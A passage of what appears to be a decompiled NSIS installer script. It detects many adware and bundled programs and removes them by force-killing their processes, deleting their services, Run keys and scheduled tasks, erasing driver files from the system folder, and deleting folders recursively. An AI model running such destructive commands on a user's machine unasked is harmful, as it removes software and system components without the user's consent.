; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES64\SpaceSoundPro
label_17988:
IfFileExists $PROGRAMFILES\PlusHD* 0 label_17999
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\PlusHD*
label_17991:
StrCmp $R1 "" label_17998
IfFileExists $PROGRAMFILES\$R1 0 label_17996
Push $PROGRAMFILES\$R1
Call func_4484
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_17996:
FindNext $0 $R1
Goto label_17991
label_17998:
FindClose $0
label_17999:
IfFileExists $PROGRAMFILES\SpaceSondPro* 0 label_18007
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\SpaceSondPro*
label_18002:
StrCmp $R1 "" label_18006
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_18002
label_18006:
FindClose $0
label_18007:
IfFileExists $LOCALAPPDATA\SysassistByHotWheel 0 label_18009
RMDir /r /REBOOTOK $LOCALAPPDATA\SysassistByHotWheel
label_18009:
IfFileExists "$PROGRAMFILES\Filter Results" 0 label_18013
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr FilterResults"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr FilterResults"
RMDir /r /REBOOTOK "$PROGRAMFILES\Filter Results"
label_18013:
IfFileExists $DESKTOP\1\Addon_App 0 label_18020
nsExec::Exec "cmd /k taskkill /IM promocodes.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM promocodes.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $DESKTOP\1\Addon_App
label_18020:
IfFileExists "$PROGRAMFILES\Jungle Net" 0 label_18024
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr JungleNet"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr JungleNet"
RMDir /r /REBOOTOK "$PROGRAMFILES\Jungle Net"
label_18024:
IfFileExists $APPDATA\vkPro 0 label_18032
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run UpdateVKpro
nsExec::Exec "cmd /k taskkill /IM vkPro.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM vkPro.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\vkPro
label_18032:
IfFileExists $DESKTOP\vkPro.lnk 0 label_18034
Delete $DESKTOP\vkPro.lnk
label_18034:
IfFileExists $LOCALAPPDATA\DesktopMessenger 0 label_18042
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run DesktopMessenger
nsExec::Exec "cmd /k taskkill /IM DesktopMessenger.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM DesktopMessenger.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\DesktopMessenger
label_18042:
IfFileExists $LOCALAPPDATA\ExtensionInstaller* 0 label_18052
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\ExtensionInstaller*
label_18045:
StrCmp $R1 "" label_18051
Push $LOCALAPPDATA\$R1
Call func_4484
RMDir /r /REBOOTOK $LOCALAPPDATA\$R1
FindNext $0 $R1
Goto label_18045
label_18051:
FindClose $0
label_18052:
IfFileExists $APPDATA\AppHelper\CinemaPlus* 0 label_18062
StrCpy $0 ""
FindFirst $0 $R1 $APPDATA\AppHelper\CinemaPlus*
label_18055:
StrCmp $R1 "" label_18060
Push $APPDATA\AppHelper\$R1
Call func_4484
FindNext $0 $R1
Goto label_18055
label_18060:
FindClose $0
RMDir /r /REBOOTOK $APPDATA\AppHelper
label_18062:
IfFileExists $PROGRAMFILES\WordShark* 0 label_18097
StrCpy $0 0
label_18064:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_18097
IntOp $0 $0 + 1
ClearErrors
Push $1
Push WordShark
Call :label_405
Pop $R3
IfErrors label_18064
IfFileExists $PROGRAMFILES\$1 0 label_18075
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_18075:
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
DeleteRegKey HKLM SYSTEM\ControlSet001\services\wsfd_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\wssvc_$2
Push $2
Push .
Push _
Call func_179
Pop $3
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wsfd_$3.sys 0 label_18090
Delete /REBOOTOK $SYSDIR\drivers\wsfd_$3.sys
label_18090:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wsfd_$3.sys 0 label_18097
Delete /REBOOTOK $SYSDIR\drivers\wsfd_$3.sys
label_18097:
IfFileExists "$PROGRAMFILES\Common Dots" 0 label_18101
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr CommonDots"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr CommonDots"
RMDir /r /REBOOTOK "$PROGRAMFILES\Common Dots"
label_18101:
IfFileExists "$DESKTOP\1\application extension" 0 label_18108
nsExec::Exec "cmd /k taskkill /IM promocodes.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM promocodes.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$DESKTOP\1\application extension"
label_18108:
IfFileExists "$TEMP\1\application extension" 0 label_18115
nsExec::Exec "cmd /k taskkill /IM $\"valuablecoupons_setup.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"valuablecoupons_setup.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$TEMP\1\application extension"
label_18115:
IfFileExists $LOCALAPPDATA\valuablecoupons 0 label_18123
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run valuablecoupons
nsExec::Exec "cmd /k taskkill /IM valuablecoupons_stb.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM valuablecoupons_stb.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\valuablecoupons
label_18123:
IfFileExists "$PROGRAMFILES\Sale Clipper" 0 label_18127
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr SaleClipper"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr SaleClipper"
RMDir /r /REBOOTOK "$PROGRAMFILES\Sale Clipper"
label_18127:
IfFileExists "$PROGRAMFILES\Search Extensions" 0 label_18149
nsExec::Exec "cmd /k taskkill /IM certutil.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM certutil.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Client.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Client.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"RocketTab$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"RocketTab$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"RocketTab Update Task$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"RocketTab Update Task$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Search Extensions"
label_18149:
IfFileExists $PROGRAMFILES\netfilter 0 label_18162
nsExec::Exec "cmd /k net stop netfsrv"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop netfsrv"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\PFHttpContentFilter.exe
nsExec::Exec "cmd /k taskkill /IM PFHttpContentFilter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM PFHttpContentFilter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\netfilter
label_18162:
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\netfilter2.sys 0 label_18170
DeleteRegKey HKLM SYSTEM\ControlSet001\services\netfilter2
Delete /REBOOTOK $SYSDIR\drivers\netfilter2.sys
label_18170:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\netfilter2.sys 0 label_18178
DeleteRegKey HKLM SYSTEM\ControlSet001\services\netfilter2
Delete /REBOOTOK $SYSDIR\drivers\netfilter2.sys
label_18178:
IfFileExists $PROGRAMFILES64\netfilter 0 label_18191
nsExec::Exec "cmd /k net stop netfsrv"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop netfsrv"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\PFHttpContentFilter.exe
nsExec::Exec "cmd /k taskkill /IM PFHttpContentFilter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM PFHttpContentFilter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES64\netfilter
label_18191:
IfFileExists "$DESKTOP\Play Star Trek Alien Domain.lnk" 0 label_18193
Delete "$DESKTOP\Play Star Trek Alien Domain.lnk"
label_18193:
IfFileExists $PROGRAMFILES\Chedot 0 label_18195
RMDir /r /REBOOTOK $PROGRAMFILES\Chedot
label_18195:
IfFileExists $LOCALAPPDATA\Chedot 0 label_18203
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Chedot
nsExec::Exec "cmd /k taskkill /IM chedot.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM chedot.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\Chedot
label_18203:
IfFileExists $DESKTOP\Chedot.lnk 0 label_18205
Delete $DESKTOP\Chedot.lnk
label_18205:
IfFileExists "$APPDATA\User Pinned\TaskBar\Chedot.lnk" 0 label_18207
Delete "$APPDATA\User Pinned\TaskBar\Chedot.lnk"
label_18207:
IfFileExists "$PROGRAMFILES\On Stage" 0 label_18211
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr OnStage"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr OnStage"
RMDir /r /REBOOTOK "$PROGRAMFILES\On Stage"
label_18211:
IfFileExists "$DESKTOP\Èãðàòü â Panzar.lnk" 0 label_18213
Delete "$DESKTOP\Èãðàòü â Panzar.lnk"
label_18213:
IfFileExists "$DESKTOP\Èãðàòü â War Thunder.lnk" 0 label_18215
Delete "$DESKTOP\Èãðàòü â War Thunder.lnk"
label_18215:
IfFileExists $PROGRAMFILES\x-rates 0 label_18217
RMDir /r /REBOOTOK $PROGRAMFILES\x-rates
label_18217:
IfFileExists $PROGRAMFILES\PremierOpinion 0 label_18240
DeleteRegKey HKLM SYSTEM\ControlSet001\services\PremierOpinion
nsExec::Exec "cmd /k taskkill /IM pmservice.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM pmservice.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM pmropn.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM pmropn.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM pmropn32.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM pmropn32.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM pmropn64.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM pmropn64.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\PremierOpinion
label_18240:
IfFileExists $DESKTOP\1\application_ext 0 label_18247
nsExec::Exec "cmd /k taskkill /IM promocodes.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM promocodes.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $DESKTOP\1\application_ext
label_18247:
IfFileExists "$PROGRAMFILES\Box Green" 0 label_18261
nsExec::Exec "cmd /k taskkill /IM updateBoxGreen.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM updateBoxGreen.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM utilBoxGreen.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM utilBoxGreen.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Box Green"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Box Green"
RMDir /r /REBOOTOK "$PROGRAMFILES\Box Green"
label_18261:
IfFileExists "$DESKTOP\Play Stormfall Age Of War.lnk" 0 label_18263
Delete "$DESKTOP\Play Stormfall Age Of War.lnk"
label_18263:
IfFileExists $APPDATA\MyDesktop 0 label_18271
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run MyDesktop
nsExec::Exec "cmd /k taskkill /IM linkme.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM linkme.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\MyDesktop
label_18271:
IfFileExists $LOCALAPPDATA\hotskidki 0 label_18279
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run hotskidki
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\hotskidki
label_18279:
IfFileExists $LOCALAPPDATA\vsemposkidki 0 label_18287
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run vsemposkidki
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\vsemposkidki
label_18287:
IfFileExists "$PROGRAMFILES\Any Angle" 0 label_18289
RMDir /r /REBOOTOK "$PROGRAMFILES\Any Angle"
label_18289:
IfFileExists "$PROGRAMFILES\Dig Deep" 0 label_18296
nsExec::Exec "cmd /k taskkill /IM utilDigDeep.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM utilDigDeep.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Dig Deep"
label_18296:
IfFileExists "$DESKTOP\Internet Quick Access.lnk" 0 label_18308
nsExec::ExecToStack "schtasks /delete /tn $\"Internet Quick Access Updater$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Internet Quick Access Updater$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"IQA$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"IQA$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete "$DESKTOP\Internet Quick Access.lnk"
label_18308:
IfFileExists "$DESKTOP\Intårnåt Quiñk Àññåss.lnk" 0 label_18320
nsExec::ExecToStack "schtasks /delete /tn $\"Internet Quick Access Updater$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Internet Quick Access Updater$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"IQA$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"IQA$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete "$DESKTOP\Intårnåt Quiñk Àññåss.lnk"
label_18320:
IfFileExists "$APPDATA\User Pinned\TaskBar\Internet Quick Access.lnk" 0 label_18322
Delete "$APPDATA\User Pinned\TaskBar\Internet Quick Access.lnk"
label_18322:
IfFileExists "$APPDATA\Internet Quick Access.lnk" 0 label_18324
Delete "$APPDATA\Internet Quick Access.lnk"
label_18324:
IfFileExists "$SMPROGRAMS\Internet Quick Access\Internet Quick Access.lnk" 0 label_18326
Delete "$SMPROGRAMS\Internet Quick Access\Internet Quick Access.lnk"
label_18326:
IfFileExists $PROGRAMFILES\SystClean 0 label_18338
nsExec::Exec "cmd /k taskkill /IM RemApp.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM RemApp.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"SystClean init$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"SystClean init$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\SystClean
label_18338:
IfFileExists "$PROGRAMFILES\Coupon Time" 0 label_18340
RMDir /r /REBOOTOK "$PROGRAMFILES\Coupon Time"
label_18340:
IfFileExists $PROGRAMFILES\rec_ru_47 0 label_18347
nsExec::Exec "cmd /k taskkill /IM rec_ru_47.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM rec_ru_47.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\rec_ru_47
label_18347:
IfFileExists $PROGRAMFILES\rec_ru* 0 label_18355
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\rec_ru*
label_18350:
StrCmp $R1 "" label_18354
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_18350
label_18354:
FindClose $0
label_18355:
IfFileExists $PROGRAMFILES\Games-desktop 0 label_18357
RMDir /r /REBOOTOK $PROGRAMFILES\Games-desktop
label_18357:
IfFileExists $PROGRAMFILES\StrengthPlus 0 label_18359
RMDir /r /REBOOTOK $PROGRAMFILES\StrengthPlus
label_18359:
IfFileExists "$PROGRAMFILES\Chromium Wheel Smooth Scroller" 0 label_18366
nsExec::Exec "cmd /k taskkill /IM Chromium Wheel Smooth Scroller.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Chromium Wheel Smooth Scroller.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Chromium Wheel Smooth Scroller"
label_18366:
IfFileExists $PROGRAMFILES\compfix 0 label_18368
RMDir /r /REBOOTOK $PROGRAMFILES\compfix
label_18368:
IfFileExists "$PROGRAMFILES\Stanza Date Clipper for Calendar" 0 label_18375
nsExec::Exec "cmd /k taskkill /IM Stanza Date Clipper for Calendar.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Stanza Date Clipper for Calendar.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Stanza Date Clipper for Calendar"
label_18375:
IfFileExists $PROGRAMFILES\LightEngine 0 label_18377
RMDir /r /REBOOTOK $PROGRAMFILES\LightEngine
label_18377:
IfFileExists $PROGRAMFILES\MusixLib 0 label_18384
nsExec::Exec "cmd /k taskkill /IM MusixLib.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MusixLib.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\MusixLib
label_18384:
IfFileExists $PROGRAMFILES\sayescoupon 0 label_18386
RMDir /r /REBOOTOK $PROGRAMFILES\sayescoupon
label_18386:
IfFileExists "$PROGRAMFILES\FB Color Changer" 0 label_18393
nsExec::Exec "cmd /k taskkill /IM $\"FB Color Changer.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"FB Color Changer.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\FB Color Changer"
label_18393:
IfFileExists $PROGRAMFILES\LibraryGeneration 0 label_18395
RMDir /r /REBOOTOK $PROGRAMFILES\LibraryGeneration
label_18395:
IfFileExists "$PROGRAMFILES\Unlimited Free VPN betternet" 0 label_18402
nsExec::Exec "cmd /k taskkill /IM $\"Unlimited Free VPN betternet.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Unlimited Free VPN betternet.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Unlimited Free VPN betternet"
label_18402:
IfFileExists $PROGRAMFILES\CiPlus* 0 label_18410
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\CiPlus*
label_18405:
StrCmp $R1 "" label_18409
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_18405
label_18409:
FindClose $0
label_18410:
IfFileExists $PROGRAMFILES\Cinema_Plus* 0 label_18421
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\Cinema_Plus*
label_18413:
StrCmp $R1 "" label_18420
IfFileExists $PROGRAMFILES\$R1 0 label_18418
Push $PROGRAMFILES\$R1
Call func_4484
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_18418:
FindNext $0 $R1
Goto label_18413
label_18420:
FindClose $0
label_18421:
IfFileExists $DESKTOP\WilliamHill.lnk 0 label_18423
Delete $DESKTOP\WilliamHill.lnk
label_18423:
IfFileExists "$PROGRAMFILES\William Hill Casino notification" 0 label_18430
nsExec::Exec "cmd /k taskkill /IM notification_center.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM notification_center.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\William Hill Casino notification"
label_18430:
IfFileExists "$PROGRAMFILES\William Hill Casino" 0 label_18437
nsExec::Exec "cmd /k taskkill /IM regtrk.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM regtrk.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\William Hill Casino"
label_18437:
IfFileExists "$SMSTARTUP\William Hill Casino notification.lnk" 0 label_18439
Delete "$SMSTARTUP\William Hill Casino notification.lnk"
label_18439:
IfFileExists $DESKTOP\SpaceSoundPro.lnk 0 label_18441
Delete $DESKTOP\SpaceSoundPro.lnk
label_18441:
IfFileExists "$DESKTOP\Èãðàòü â Ïðàâèëà Âîéíû.lnk" 0 label_18443
Delete "$DESKTOP\Èãðàòü â Ïðàâèëà Âîéíû.lnk"
label_18443:
IfFileExists $PROGRAMFILES\PragmaInstance 0 label_18445
RMDir /r /REBOOTOK $PROGRAMFILES\PragmaInstance
label_18445:
IfFileExists "$APPDATA\User Pinned\TaskBar\Intårnåt Quiñk Àññåss.lnk" 0 label_18447
Delete "$APPDATA\User Pinned\TaskBar\Intårnåt Quiñk Àññåss.lnk"
label_18447:
IfFileExists "$APPDATA\Intårnåt Quiñk Àññåss.lnk" 0 label_18449
Delete "$APPDATA\Intårnåt Quiñk Àññåss.lnk"
label_18449:
IfFileExists "$SMPROGRAMS\Internet Quick Access\Intårnåt Quiñk Àññåss.lnk" 0 label_18451
Delete "$SMPROGRAMS\Internet Quick Access\Intårnåt Quiñk Àññåss.lnk"
label_18451:
IfFileExists "$DESKTOP\Play Pirates Tides of Fortune.lnk" 0 label_18453
Delete "$DESKTOP\Play Pirates Tides of Fortune.lnk"
label_18453:
IfFileExists $PROGRAMFILES64\DownChecker 0 label_18461
nsExec::Exec "cmd /k taskkill /IM dchecker.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM dchecker.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\DownChecker
RMDir /r /REBOOTOK $PROGRAMFILES64\DownChecker
label_18461:
IfFileExists $PROGRAMFILES\FriendlyError 0 label_18463
RMDir /r /REBOOTOK $PROGRAMFILES\FriendlyError
label_18463:
IfFileExists "$DESKTOP\Èãðàòü â Ãåðîåâ Ñåâåðà.lnk" 0 label_18465
Delete "$DESKTOP\Èãðàòü â Ãåðîåâ Ñåâåðà.lnk"
label_18465:
IfFileExists "$DESKTOP\Super Optimizer.lnk" 0 label_18467
Delete "$DESKTOP\Super Optimizer.lnk"
label_18467:
IfFileExists $DESKTOP\MiPony.lnk 0 label_18469
Delete $DESKTOP\MiPony.lnk
label_18469:
IfFileExists "$DESKTOP\Play Games Online.url" 0 label_18471
Delete "$DESKTOP\Play Games Online.url"
label_18471:
IfFileExists $DESKTOP\Gameo.lnk 0 label_18473
Delete $DESKTOP\Gameo.lnk
label_18473:
IfFileExists $PROGRAMFILES64\Checker 0 label_18480
nsExec::Exec "cmd /k taskkill /IM Check.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Check.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Checker
label_18480:
IfFileExists $LOCALAPPDATA\SuperBrowser 0 label_18487
nsExec::Exec "cmd /k taskkill /IM $\"SuperBrowser.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
